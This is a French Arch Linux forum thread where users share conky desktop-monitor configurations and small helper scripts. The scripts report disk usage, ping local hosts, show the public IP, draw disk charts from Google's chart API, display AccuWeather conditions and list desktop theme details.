[Conky] Vos .conkyrc !

Ce qui ne concerne ni le forum ni des problèmes
matrhack
Hankyu
Messages : 28
Inscription : mar. 22 juil. 2008, 14:52

Re: [Conky] Vos .conkyrc !

Message par matrhack »

Image
Image

Voila le rendu ... :D ca plait ou ca plait pas ... :D
foldersize.sh a écrit :Le scrip "foldersize" retourne l'espace disque utilisé par le dossier :
Utilisation :

Code : Tout sélectionner

${texeci 200 /chemin/du/script/foldersize.sh /chemin/du/dossier }
Exemple : ${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/Downloads }
Le script :

Code : Tout sélectionner

#!/bin/bash
#By Matrhack Matrhack ]at[ Gmail ]dot[ com
#retourne l'espace disque utilisé par le dossier
du --max-depth=0 -h $1 |cut -d"/" -f1 |cut -d"s" -f1 | awk '{print $1}'
silentping.sh a écrit :Le scrip "silentping" retourne si la cible est en ligne ou non ... :
Utilisation :

Code : Tout sélectionner

${texeci 1000 /chemin/du/script/silentping.sh CIBLE "retourné si online" "retourné si offline"}
Exemple : ${texeci 1000 ~/.conky/silentping.sh 192.168.0.90 "Up" "d0wn"}
Le script :

Code : Tout sélectionner

#!/bin/sh
#By Matrhack Matrhack ]at[ Gmail ]dot[ com

T1=`ping $1 -c1 | grep packets | cut -d"," -f2 | cut -d" " -f2`
#echo $T1
if [ $T1 -eq 1 ]; then
	echo $2
else
	echo $3
fi
ip.sh a écrit :Le scrip "ip" retourne l'ip de la machine ... :
Utilisation :

Code : Tout sélectionner

${execi 1000 /chemin/du/script/ip.sh}
Exemple : ${execi 1000 ~/.conky/ip.sh}
Le script :

Code : Tout sélectionner

#!/bin/bash 
wget http://checkip.dyndns.org/ -O - -o /dev/null | cut -d: -f 2 | cut -d\< -f 1
info a écrit :Le scrip "info" retourne des infos sur la machine ... :
Utilisation :

Code : Tout sélectionner

${execp perl /chemin/du/script/info}
Exemple : ${execp perl ~/.conky/info}

my $textcolor = "\${color1}"; 
il ajoutera "${color1}" au debut de chaque ligne de ce qu'il retourne a conky
c'est interprété par conky  ...
my $valcolor = "\${color3}|  +>\${color0}";  
ici c'est pareil c'est la mise en forme qui est intercalé entre "os" et "archlinux" ...
Le script :

Code : Tout sélectionner

#!/usr/bin/perl
use Switch;
use strict;
use File::Basename;

####################
## Config options ##
####################

## What distro logo to use to use, Available "ArchlinuxNone" ##
my $distro = "Archlinux";
my $myArchVersion = "ArchLinux (Core Dump)";

## what values to display. Use "OS Kernel DE WM win_theme Theme Font Icons" ##
my $display = "OS Kernel DE WM Win_theme Theme Icons Font Background";

## Takes a screen shot if set to 0 ##
my $shot = 1;
## Command to run to take screen shot ##
my $command = "scrot -cd5";

## What colors to use for the variables. ##
my $textcolor = "\${color1}"; # Mise en forme du resultat ...
my $valcolor = "\${color3}|  +>\${color0}";  # Mise en forme avant le texte
## Prints little debugging messages if set to 0 ##
my $quite = 1;



########################
## Script starts here ##
########################
## Define some thing to work with strict ##
my @line = ();
my $found = 0;
my $DE = "NONE";
my $WM = "Beryl";

## Hash of WMs and the process they run ##
my %WMlist = ("Beryl", "beryl",
              "Fluxbox", "fluxbox",
              "Openbox", "openbox",
              "Blackbox", "blackbox",
              "Xfwm4", "xfwm4",
              "Metacity", "metacity",
              "Kwin", "kwin",
              "FVWM", "fvwm",
              "Enlightenment", "enlightenment",
              "IceWM", "icewm",
              "Window Maker", "wmaker",
              "PekWM","pekwm" );

## Hash of DEs and the process they run ##     
my %DElist = ("Gnome", "gnome-session",
              "Xfce4", "xfce-mcs-manage",
              "KDE", "ksmserver");

## Get Kernel version ##
if ( $display =~ "Kernel"){
  print "\::$textcolor Finding Kernel version\n" unless $quite == 1;
  my $kernel = `uname -r`;
  $kernel =~ s/\s+/ /g;
  $kernel = " Kernel:$textcolor $kernel";
  push(@line, "$kernel");
}

## Find running processes ##
print "\::$textcolor Getting processes \n" unless $quite == 1;
my $processes = `ps -A | awk {'print \$4'}`;

## Find DE ##
while( (my $DEname, my $DEprocess) = each(%DElist) ) {
  print "\::$textcolor Testing $DEname process: $DEprocess \n" unless $quite == 1;
  if ( $processes =~ m/$DEprocess/ ) {
    $DE = $DEname;
    print "\::$textcolor DE found as $DE\n" unless $quite == 1;
    if( $display =~ m/DE/ ) {
      push(@line, " DE:$textcolor $DE");
    }
    last;
  }
}

## Find WM ##
while( (my $WMname, my $WMprocess) = each(%WMlist) ) {
print "\::$textcolor Testing $WMname process: $WMprocess \n" unless $quite == 1;
  if ( $processes =~ m/$WMprocess/ ) {
    $WM = $WMname;
    print "\::$textcolor WM found as $WM\n" unless $quite == 1;
    if( $display =~ m/WM/ ) {
      push(@line, " WM:$textcolor $WM");
    }
    last;
  }
}

## Find WM theme ##
if ( $display =~ m/Win_theme/ ){
  switch($WM) {
    case "Openbox" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.config/openbox/rc.xml")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /<name>(.+)<\/name>/ ) {
          while ( $found == 0 ) {
            print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
            push(@line, " WM Theme:$textcolor $1");
            $found = 1;
          }
        }
      }
      close(FILE);
    }
    case "Metacity" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      my $gconf = `gconftool-2 -g /apps/metacity/general/theme`;
      print "\::$textcolor $WM theme found as $gconf\n" unless $quite == 1;
      chomp ($gconf);
      push(@line, " WM Theme:$textcolor $gconf");
    }
    case "Fluxbox" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.fluxbox/init")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /session.styleFile:.*\/(.+)/ ) {
          print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
          push(@line, " WM Theme:$textcolor $1");
        }
      }
      close(FILE);
    }
    case "Blackbox" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.blackboxrc")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /session.styleFile:.*\/(.+)/ ) {
          print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
          push(@line, " WM Theme:$textcolor $1");
        }
      }
      close(FILE);
    }
    case "Xfwm4" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.config/xfce4/mcs_settings/xfwm4.xml")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /<option name="Xfwm\/ThemeName" type="string" value="(.+)"\/>/ ) {
          print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
          push(@line, " WM Theme:$textcolor $1");
        }
  } 
      close(FILE);
    }
    case "Kwin" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.kde/share/config/kwinrc")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /PluginLib=kwin3_(.+)/ ) {
          print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
          push(@line, " WM Theme:$textcolor $1");
        }
      }
      close(FILE);
    }
    case "Enlightenment" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      my $remote = `enlightenment_remote -theme-get theme` ;
      if( $remote =~ m/.*FILE="(.+).edj"/ ) {
        print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
        push(@line, " WM Theme:$textcolor $1");
      }     
    }       
    case "IceWM" { 
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.icewm/theme")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /Theme="(.+)\/.*.theme/ ) {
          while( $found == 0 ) {
            print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
            push(@line, " WM Theme:$textcolor $1");
            $found = 1;
          }
        }
      }   
      close(FILE);
    }   
    case "PekWM" {
      print "\::$textcolor Finding $WM theme\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.pekwm/config")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
        if( /Theme.*\/(.*)"/ ) {
            print "\::$textcolor $WM theme found as $1\n" unless $quite == 1;
            push(@line, " WM Theme:$textcolor $1");
        }
      }
      close(FILE); 
    } 
  }   
}     
      
## Find Theme Icon and Font ##
if ( $display =~ m/[Theme, Icons, Font, Background]/) {
  switch($DE) {
    case "Gnome" {
      print "\::$textcolor Finding $DE variables\n" unless $quite == 1;
      if ( $display =~ m/Theme/ ) {
        my $gconf = `gconftool-2 -g /desktop/gnome/interface/gtk_theme`;
        chomp ($gconf);
        print "\::$textcolor GTK Theme found as $1\n" unless $quite == 1;
        push(@line, " GTK Theme:$textcolor $gconf");
      }
      if ( $display =~ m/Icons/ ) {
        my $gconf = `gconftool-2 -g /desktop/gnome/interface/icon_theme`;
        chomp ($gconf);
        push(@line, " Icons:$textcolor $gconf");
      } 
      if ( $display =~ m/Font/ ) {
        my $gconf = `gconftool-2 -g /desktop/gnome/interface/font_name`;
        chomp ($gconf);
        push(@line, " Font:$textcolor $gconf");
      }
     if ( $display =~ m/Background/ ) {
        my $gconf = `gconftool-2 -g /desktop/gnome/background/picture_filename`;
        chomp ($gconf);
      my $bname = basename($gconf);
      push(@line, " Background:$textcolor $bname");
      }

    } 
    case "Xfce4" {
      my @sort = ();
      print "\::$textcolor Finding $DE variables\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.config/xfce4/mcs_settings/gtk.xml")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) {
     if ( $display =~ m/Theme/ ) {
          if (/<option name="Net\/ThemeName" type="string" value="(.+)"\/>/ ) {
            print "\::$textcolor GTK Theme found as $1\n" unless $quite == 1;
            unshift(@sort, " GTK Theme:$textcolor $1");
          } 
        }
        if ( $display =~ m/Icons/ ) {
          if (/<option name="Net\/IconThemeName" type="string" value="(.+)"\/>/ ) {
            print "\::$textcolor Icons found as $1\n" unless $quite == 1;
            unshift(@sort, " Icons:$textcolor $1");
          }
        }
        if ( $display =~ m/Font/ ) {
          if ( /<option name="Gtk\/FontName" type="string" value="(.+)"\/>/ ) {
            print "\::$textcolor Font found as $1\n" unless $quite == 1;
            unshift(@sort, " Font:$textcolor $1");
          } 
        }
      }
      close(FILE);
      ## Sort variables so they're ordered "Theme Icon Font" ##
      foreach my $i (@sort) {
        push(@line, "$i");
      }
    } 
    case "KDE" 
    { 
      print "\::$textcolor Finding $DE variables\n" unless $quite == 1;
      open(FILE, "$ENV{HOME}/.kde/share/config/kdeglobals")
      || die "\e[0;31m<Failed>\n";
      while( <FILE> ) { 
        if ( $display =~ m/Theme/ ) 
	{
          if ( /widgetStyle=(.+)/  )
	  {
            print "\::$textcolor Wiget Style found as $1\n" unless $quite == 1;
            push(@line, " Wiget Style:$textcolor $1");
          }
          if (/colorScheme=(.+).kcsrc/ ) 
	  {
            print "\::$textcolor Color Scheme found as $1\n" unless $quite == 1;
            push(@line, " Color Scheme:$textcolor $1");
          }
        }
        if ( $display =~ m/Icons/ ) 
	{
          if ( /Theme=(.+)/ ) 
	  {
            print "\::$textcolor Icons found as $1\n" unless $quite == 1;
            push(@line, " Icons:$textcolor $1");
          } 
        }   
        if ( $display =~ m/Font/ ) 
        {
          if ( /font=(.+)/ ) 
          {
            my $font = (split/,/, $1)[0];
            print "\::$textcolor Font found as $font\n" unless $quite == 1;
            push(@line, " Font:$textcolor $font");
          }
        }
      }
      close(FILE);
  
    }
    else {
      my @files = ("$ENV{HOME}/.gtkrc-2.0", "$ENV{HOME}/.gtkrc.mine",);
      foreach my $file (@files) {
        if ( -e $file ) {
          print "\::$textcolor Opening $file\n" unless $quite == 1; 
          open(FILE, $file)
          || die "\e[0;31m<Failed>\n";
          while( <FILE> ) {
            if ( $display =~ m/Theme/ ) {
              if( /include ".*themes\/(.+)\/gtk-(1|2)\.0\/gtkrc"/ ){
                print "\::$textcolor GTK theme found as $1\n" unless $quite == 1;
                push(@line, " GTK Theme:$textcolor $1");
              }
            }
            if ( $display =~ m/Icons/ ) {
              if( /.*gtk-icon-theme-name.*"(.+)"/ ) {
                print "\::$textcolor Icons found as $1\n" unless $quite == 1;
                push(@line, " Icons:$textcolor $1");
              }
            }
            if ( $display =~ m/Font/ ) {
              if( /.*gtk-font-name.*"(.+)"/ ) {
                print "\::$textcolor Font found as $1\n" unless $quite == 1;
                push(@line, " Font:$textcolor $1");
             }
            }
          }
          close(FILE);
        }
      }
    }
  }
}

## Display the system info ##

if ( $distro =~ m/Archlinux/ ) 
{
	## Get Archlinux version ##
	if ( $display =~ "OS"){
	  print "\::$textcolor Finding Archlinux version\n" unless $quite == 1;
	  my $version = $myArchVersion;
	  $version =~ s/\s+/ /g;
	  $version = " OS:$textcolor $version";
	  unshift(@line, "$version");
}

print "$valcolor @line[0]\n"; # Os
print "$valcolor @line[1]\n"; # Kernel
print "$valcolor @line[2]\n"; # WM
print "$valcolor @line[3]\n"; # WM theme
print "$valcolor @line[4]\n"; # GTK theme
print "$valcolor @line[5]\n"; # Font
print "$valcolor @line[6]";   # Icons
}


if ( $distro =~ m/None/ ) {
my $color = "\e[0;34m";
  foreach my $filled ( @line )
  {
    print "$color $filled\n"
  }
}
il n'est pas de moi je l'es juste modif pour l'integrer a conky xD

Code : Tout sélectionner

double_buffer yes
own_window  yes
own_window_transparent yes
own_window_type normal
own_window_hints undecorate,sticky,skip_taskbar,skip_pager 
background no
draw_borders yes
border_inner_margin 5
draw_shades no
gap_x 1700
gap_y 20
alignment top_left
update_interval 1
default_color FFFFFF
own_window_colour 000000
use_xft yes
xftfont Monospace:pixelsize=10
use_spacer none
minimum_size 150 800
text_buffer_size 1024


color0 FFFFFF #texte
color1 000066 #valeurs
color2 000066 #titres
color3 C0C0C0 # Arbre
TEXT
${alignc}Welcome on $Nodename MatrhacK
${time %a %d %b} ${alignc}    $uptime ${alignr}${time %k}:${time %M}: ${time %S}
${color3}|${color}
${color3}+> ${color2}Systeme ${color0}$hr
${color3}|  |
${color3}|  +>${color0}cpu0 : ${color1}${cpu cpu0} %  ${alignr}${color}${cpubar cpu0 8,40}
${color3}|  +>${color0}cpu1 : ${color1}${cpu cpu1} %  ${alignr}${color}${cpubar cpu1 8,40}
${color3}|  |   
${color3}|  +>${color0}ram  : ${color1}${mem}${color0} ${alignr}/ ${color1}${memmax} ${color}${membar 8,40}
${color3}|  +>${color0}swap : ${color1}${swap}${color0} ${alignr}/ ${color1}${swapmax}${color} ${swapbar 8,40}
${color3}|  
${color3}+> ${color2}Stockage ${color0}$hr
${color3}|  | 
${color3}|  +> ${color2}/
${color3}|  |  |
${color3}|  |  +>${color0}Free : ${color1}${fs_free /} ${alignr}${color0}/ ${color1}${fs_size /} ${color0}${fs_bar_free 8,40 /}
${color3}|  |  +>${color0}Used : ${color1}${fs_used /} ${alignr}${color0}/ ${color1}${fs_size /} ${color0}${fs_bar 8,40 /}
${color3}|  |
${color3}|  +> ${color2}/home
${color3}|  |  |
${color3}|  |  +>${color0}Free : ${color1}${fs_free /home} ${alignr}${color0}/ ${color1}${fs_size /home} ${color0}${fs_bar_free 8,40 /home}
${color3}|  |  +>${color0}Used : ${color1}${fs_used /home} ${alignr}${color0}/ ${color1}${fs_size /home} ${color0}${fs_bar 8,40 /home}
${color3}|  |  +>${color0}download : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/Downloads }
${color3}|  |
${color3}|  +> ${color2}/doc
${color3}|  |  |
${color3}|  |  +>${color0}Free : ${color1}${fs_free /media/doc} ${alignr}${color0}/ ${color1}${fs_size /media/doc} ${color0}${fs_bar_free 8,40 /media/doc}
${color3}|  |  +>${color0}Used : ${color1}${fs_used /media/doc}  ${alignr}${color0}/ ${color1}${fs_size /media/doc} ${color0}${fs_bar 8,40 /media/doc}
${color3}|  |
${color3}|  +> ${color2}/xp
${color3}|  |  |
${color3}|  |  +>${color0}Free : ${color1}${fs_free /media/xp}${alignr} ${color0}/ ${color1}${fs_size /media/xp} ${color0}${fs_bar_free 8,40 /media/xp}
${color3}|  |  +>${color0}Used : ${color1}${fs_used /media/xp}${alignr} ${color0}/ ${color1}${fs_size /media/xp} ${color0}${fs_bar 8,40 /media/xp}
${color3}|  |
${color3}|  +> ${color2}/shares
${color3}|     |
${color3}|     +>${color0}Free     : ${color1}${fs_free /home/matrhack/shares/matrhack/}${color0} ${alignr}/ ${color1}${fs_size /home/matrhack/shares/matrhack/}${color0} ${fs_bar_free 8,40 /home/matrhack/shares/matrhack/}
${color3}|     +>${color0}Used     : ${color1}${fs_used /home/matrhack/shares/matrhack/}${color0} ${alignr}/ ${color1}${fs_size /home/matrhack/shares/matrhack/}${color0} ${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     |
${color3}|     |> ${color0}matrhack : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/matrhack }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     |> ${color0}julie    : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/julie    }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     |
${color3}|     +>${color0}musiques : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/musiques }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     +>${color0}films    : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/films    }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     +>${color0}series   : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/series   }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     +>${color0}public   : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/public   }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|     +>${color0}download : ${color1}${texeci 200 /home/matrhack/.conky/foldersize.sh /home/matrhack/shares/download }${alignr}${color0}${fs_bar 8,40 /home/matrhack/shares/matrhack/}
${color3}|
${color3}+> ${color2}Reseau ${color0}$hr
${color3}|  |
${color3}|  +>${color0}IP Locale sur $gw_iface :  ${alignr}${color1}${addrs eth0}
${color3}|  +>${color0}IP Passerelle      : ${alignr}${color1} $gw_ip
${color3}|  +>${color0}IP Public          : ${alignr}${color1}${execi 1000 ~/.conky/ip.sh}
${color3}|  |
${color3}|  +> ${color2}Online ?
${color3}|  |  |
${color3}|  |  +>${color0}192.168.0.90  : WD-ext ${alignr}${color1}${texeci 1000 ~/.conky/silentping.sh 192.168.0.90 "Up" "d0wn"}
${color3}|  |  +>${color0}192.168.0.99  : matrhack ${alignr}${color1}${texeci 1000 ~/.conky/silentping.sh 192.168.0.99 "Up" "d0wn"}
${color3}|  |  +>${color0}192.168.0.100 : freebox ${alignr}${color1}${texeci 1000 ~/.conky/silentping.sh 192.168.0.100 "Up" "d0wn"}
${color3}|  |
${color3}|  +> ${color2}Utilisation
${color3}|     |
${color3}|     +> ${color0}Download : ${color1}${downspeed eth0}/s ${color0} ${alignr}/ ${color1}${totaldown eth0}
${color3}|     +> ${color0}Upload   : ${color1}${upspeed eth0}/s ${color0} ${alignr}/ ${color1}${totalup eth0}
${color3}+> ${color2}Infos ${color0}$hr
${color3}|  |
${execp perl ~/.conky/info}
Mon bureau : > ici <
Avatar de l’utilisateur
Angelscry
newbie
Messages : 9
Inscription : sam. 15 août 2009, 15:57

Représentation graphique des points de montage

Message par Angelscry »

Voici un petit script pour conky qui permet de représenter le taux d’occupation des disques, partitions et points de montage sous formes de « camenbert » (charts) en 3 dimensions. Pour cela j'utilise script qui utilise l’API Chart de Google, et télécharge l’image générée par cet API. Les images sont ensuite affichées par conky.

Image

~/.conkyrc

Code : Tout sélectionner

background no
use_xft yes
xftfont 123:size=4
xftalpha 0.2
update_interval 30
total_run_times 0
own_window yes
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
double_buffer yes
minimum_size 60
maximum_width 60
draw_shades no
draw_outline no
draw_borders no
draw_graph_borders yes
default_color dimgray
default_shade_color black
default_outline_color green
alignment top_left
gap_x 6
gap_y 30
no_buffers yes
uppercase none
cpu_avg_samples 2
net_avg_samples 1
override_utf8_locale yes
use_spacer none
imlib_cache_size 0
TEXT
${execp ~/.conky/google_charts.sh}
${image ~/.conky/images/chart1.png -p -5,-12 -s 40x55}
${voffset -20}${tab 27,0}${color DimGray}arch
${tab 27,0}${color Gray}${fs_free /home}
${image ~/.conky/images/chart2.png -p -5,13 -s 40x55}
${voffset -5}${tab 27,0}${color DimGray}mint
${tab 27,0}${color Gray}${fs_free /mnt/mint}
${image ~/.conky/images/chart3.png -p -5,37 -s 40x55}
${voffset -5}${tab 27,0}${color DimGray}win7
${tab 27,0}${color Gray}${fs_free /mnt/windows}
${image ~/.conky/images/chart4.png -p -5,62 -s 40x55}
${voffset -5}${tab 27,0}${color DimGray}media
${tab 27,0}${color Gray}${fs_free /mnt/multimedias}
${image ~/.conky/images/chart5.png -p -5,87 -s 40x55}
${voffset -5}${tab 27,0}${color DimGray}reseau
${tab 27,0}${color Gray}${fs_free /media/DDReseau}
~/.conky/google_charts.sh

Code : Tout sélectionner

#!/bin/bash
# google_charts.sh
if [ ! -e $HOME/.conky ]; then
   mkdir $HOME/.conky
fi
if [ ! -e $HOME/.conky/images ]; then
   mkdir $HOME/.conky/images
fi
occup=`df -P / | awk 'END {print $5}' | cut -d'%' -f1`
wget "http://chart.apis.google.com/chart?cht=p3&chd=t:"$occup","$[100-$occup]"&chs=40x40&chco=696969,aaaaaa&chf=bg,s,00000000" -O $HOME/.conky/images/chart1.png
occup=`df -P /mnt/mint | awk 'END {print $5}' | cut -d'%' -f1`
wget "http://chart.apis.google.com/chart?cht=p3&chd=t:"$occup","$[100-$occup]"&chs=40x40&chco=696969,aaaaaa&chf=bg,s,00000000" -O $HOME/.conky/images/chart2.png
occup=`df -P /mnt/windows | awk 'END {print $5}' | cut -d'%' -f1`
wget "http://chart.apis.google.com/chart?cht=p3&chd=t:"$occup","$[100-$occup]"&chs=40x40&chco=696969,aaaaaa&chf=bg,s,00000000" -O $HOME/.conky/images/chart3.png
occup=`df -P /mnt/multimedias | awk 'END {print $5}' | cut -d'%' -f1`
wget "http://chart.apis.google.com/chart?cht=p3&chd=t:"$occup","$[100-$occup]"&chs=40x40&chco=696969,aaaaaa&chf=bg,s,00000000" -O $HOME/.conky/images/chart4.png
occup=`df -P /media/DDReseau | awk 'END {print $5}' | cut -d'%' -f1`
wget "http://chart.apis.google.com/chart?cht=p3&chd=t:"$occup","$[100-$occup]"&chs=40x40&chco=696969,aaaaaa&chf=bg,s,00000000" -O $HOME/.conky/images/chart5.png
Les images des disques sont sauvegardées dans le répertoire ~/.conky/images/ et sont mise à jour toutes les 30 secondes (update_interval 30).
Dernière modification par Angelscry le lun. 05 oct. 2009, 00:02, modifié 3 fois.
Avatar de l’utilisateur
tuxce
Maître du Kyudo
Messages : 6677
Inscription : mer. 12 sept. 2007, 16:03

Re: [Conky] Vos .conkyrc !

Message par tuxce »

C'est pas mal ce truc des graphiques :)

Tu peux utiliser "-P" pour pas avoir à deviner le champs du pourcentage, et donner le disque en argument pour pas avoir à le choisir, un truc de ce genre:

Code : Tout sélectionner

occup=$(df -P / | awk 'END {print $5}')
occup=${occup%\%} # enlève le %
Avatar de l’utilisateur
Angelscry
newbie
Messages : 9
Inscription : sam. 15 août 2009, 15:57

Re: [Conky] Vos .conkyrc !

Message par Angelscry »

Merci pour l'information. J'ai corrigé mon script ci-dessus en conséquence. :bravo:
Avatar de l’utilisateur
Angelscry
newbie
Messages : 9
Inscription : sam. 15 août 2009, 15:57

Afficher la météo d’AccuWeather

Message par Angelscry »

Voici un pertit script pour Conky qui permet d’afficher les informations météo à partir du site AccuWeather et de les traduire dans la langue que vous souhaitez.

Image

Le script va récupérer les informations météo (ville, conditions, température et icone) à partir des flux RSS d’AccuWeather puis traduit les conditions météo gràce à l’outil linguistique de Google.

~/.conkyrc

Code : Tout sélectionner

background none
use_xft yes
xftfont 123:size=4
xftalpha 0.2
update_interval 600
total_run_times 0
own_window yes
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
double_buffer yes
minimum_size 500
maximum_width 780
draw_shades no
draw_outline no
draw_borders no
draw_graph_borders yes
default_color dimgray
default_shade_color black
default_outline_color green
alignment top_left
gap_x 6
gap_y 30
no_buffers yes
uppercase none
cpu_avg_samples 2
net_avg_samples 1
override_utf8_locale yes
use_spacer none
imlib_cache_size 0
TEXT
${execp ~/.conky/accuweather.sh}
~/.conky/accuweather.sh

Code : Tout sélectionner

#!/bin/bash

location='NAM|CA|QC|MONTREAL'
trad='fr'

if [ ! -e $HOME/.conky ]; then
	mkdir $HOME/.conky
fi
if [ ! -e $HOME/.conky/images ]; then
	mkdir $HOME/.conky/images
fi
if [ ! -e $HOME/.conky/tmp ]; then
	mkdir $HOME/.conky/tmp
fi
wget 'http://rss.accuweather.com/rss/liveweather_rss.asp?metric=1&locCode='$location -O $HOME/.conky/tmp/rss.tmp
icon=`grep -m 1 'img src' $HOME/.conky/tmp/rss.tmp | cut -d'"' -f2`
wget $icon -O $HOME/.conky/images/meteo.gif
echo "\${image $HOME/.conky/images/meteo.gif -p 0,5 -s 31x31}"
town=`grep -m 1 'Currently in' $HOME/.conky/tmp/rss.tmp | cut -d' ' -f3 | cut -d',' -f1 | tr "[:upper:]" "[:lower:]" | sed 's/\([a-z]\)\([a-zA-Z0-9]*\)/\u\1\2/g'`
weather=`grep -m 1 'Currently:' $HOME/.conky/tmp/rss.tmp | cut -d':' -f2 | sed 's/^.//'`
temp=`grep -m 1 'Currently:' $HOME/.conky/tmp/rss.tmp | cut -d':' -f3 | cut -d'C' -f1 | sed 's/^.//'`'°C'
wget --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" 'http://translate.google.com/translate_t?text='${weather/ /+}'&langpair=en&hl='$trad'&ie=UTF-8&oe=UTF-8#' -O $HOME/.conky/tmp/google.tmp
weather=`grep -m 1 'id=result_box' $HOME/.conky/tmp/google.tmp`
weather=${weather#*'dir="ltr">'}
weather=${weather%%'</div>'*}
echo "\${voffset -14}"
echo "\${tab 36,0}\$font\${color Gray}"$town
echo "\${tab 36,0}\$font\${color DimGray}"$weather
echo "\${tab 36,0}\$font\${color DimGray}"$temp
La variable "location" correspond au code utilisé par AccuWeather pour identifer une ville ou un lieu. Pour obtenir ce code, allez sur le site d'AccuWeather, indiquez le nom de la ville souhaitée et selectionnez la. Le code devrait alors apparaitre dans l'URL de la page sous la forme : CONTINENT|PAYS|PAYS###|VILLE. La variable "trad" correspond à la langue de traduction des conditions météo par l'outil linguistique de Google.
Dernière modification par Angelscry le lun. 05 oct. 2009, 00:00, modifié 2 fois.
Avatar de l’utilisateur
chipster
Maître du Kyudo
Messages : 2063
Inscription : ven. 11 août 2006, 22:25
Localisation : Saint-Étienne (42)
Contact :

Re: [Conky] Vos .conkyrc !

Message par chipster »

Il existe aussi conky-forecast
Le seul reproche que je lui ferai est sa lenteur extrême du fait d'une multitudes d'appels réseau au lieu de récupérer le fichier et de le traiter en local
Avatar de l’utilisateur
chipster
Maître du Kyudo
Messages : 2063
Inscription : ven. 11 août 2006, 22:25
Localisation : Saint-Étienne (42)
Contact :

Re: [Conky] Vos .conkyrc !

Message par chipster »

Autre remarque. Tu ne devrais pas utiliser ces deux commandes conky en même temps :

Code : Tout sélectionner

own_window_type normal
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
Elles ont une fâcheuse tendance à mettre la dawa :mrgreen:

[edit] Tu devrais faire un script un peu plus portable car tu ne vérifies pas si $HOME/.conky/tmp/ existe
Avatar de l’utilisateur
Angelscry
newbie
Messages : 9
Inscription : sam. 15 août 2009, 15:57

Re: [Conky] Vos .conkyrc !

Message par Angelscry »

chipster a écrit :Il existe aussi conky-forecast
Le seul reproche que je lui ferai est sa lenteur extrême du fait d'une multitudes d'appels réseau au lieu de récupérer le fichier et de le traiter en local
Oui c'est exactement pour cela que j'ai fait ce petit script qui est beaucoup moins lourd (pas besoin de python ou de s'inscrire sur un site) et tout aussi efficace que conky-forecast
chipster a écrit :Tu devrais faire un script un peu plus portable car tu ne vérifies pas si $HOME/.conky/tmp/ existe
Oui, tu as raison. Je viens d'apporter les modifications suivant tes conseils. Merci.
Avatar de l’utilisateur
FenDanT
Elfe
Messages : 502
Inscription : mer. 25 avr. 2007, 09:04
Localisation : Chamoson VS/CH

Re: [Conky] Vos .conkyrc !

Message par FenDanT »

Coucoux :P

A mon tour de me lancer dans des essais...

Image

Mon .conkyrc

Code : Tout sélectionner

use_xft yes
xftfont verdana:size=7
alignment top_right
xftalpha 0.8
own_window yes
own_window_type override
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
double_buffer yes
background yes
draw_shades no
draw_outline no
draw_borders no
stippled_borders 10
border_margin 4
border_width 1
default_shade_color grey
default_outline_color black
default_color BADCDD
use_spacer none
no_buffers yes
uppercase no
color1 F8DF58



TEXT
${color 1994d1}${font openlogos:bold:size=40}$alignc B${font Karatdemo:size=32}rchlinux${font}
${alignc}$sysname $kernel $machine

IP Ethernet (${addr eth0})
IP Wifi (${addr wlan0})
${font PizzaDude Bullets:size=12}v${font}   Up: ${upspeed eth0} Kb/s 
${font PizzaDude Bullets:size=12}r${font}   Down: ${downspeed eth0} Kb/s 
${font PizzaDude Bullets:size=12}M${font}   Upload: ${totalup eth0}
